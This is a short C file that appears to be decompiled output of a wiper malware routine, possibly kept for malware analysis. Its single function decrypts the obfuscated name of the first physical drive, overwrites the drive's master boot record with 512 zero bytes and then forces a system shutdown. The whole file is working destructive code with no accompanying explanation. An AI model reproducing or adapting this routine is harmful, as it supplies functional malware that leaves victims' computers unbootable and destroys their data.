quoint_terra_wiper.c

void wipe_mbr()
{
  wchar_t *v0; // [esp-4h] [ebp-20h]
  HANDLE hFile; // [esp+0h] [ebp-1Ch]
  DWORD NumberOfBytesWritten; // [esp+8h] [ebp-14h]
  LPCVOID lpBuffer; // [esp+Ch] [ebp-10h]
  LPCWSTR lpFileName; // [esp+10h] [ebp-Ch]
  int v5; // [esp+14h] [ebp-8h]

  v5 = 0;
  lpFileName = 0;
  lpBuffer = 0;
  NumberOfBytesWritten = 0;
  decrypt_str(a_PhysicalDrive0, key, dword_420850);
  sub_402E40(&lpFileName, v0);
  hFile = CreateFileW(lpFileName, 0x40000000u, 0, 0, 3u, 0x80u, 0);
  str_copy(&lpFileName, &ValueName);
  str_copy(&a_PhysicalDrive0, &ValueName);
  if ( hFile != -1 )
  {
    lpBuffer = alloc_zero_filled(0x200u);
    if ( lpBuffer )
    {
      if ( WriteFile(hFile, lpBuffer, 0x200u, &NumberOfBytesWritten, 0) )
      {
        FlushFileBuffers(hFile);
        CloseHandle(hFile);
        v5 = 1;
      }
      sub_402D70(lpBuffer);
    }
    if ( v5 )
      shutdown(6u);
  }
  sub_402F20(lpFileName);
}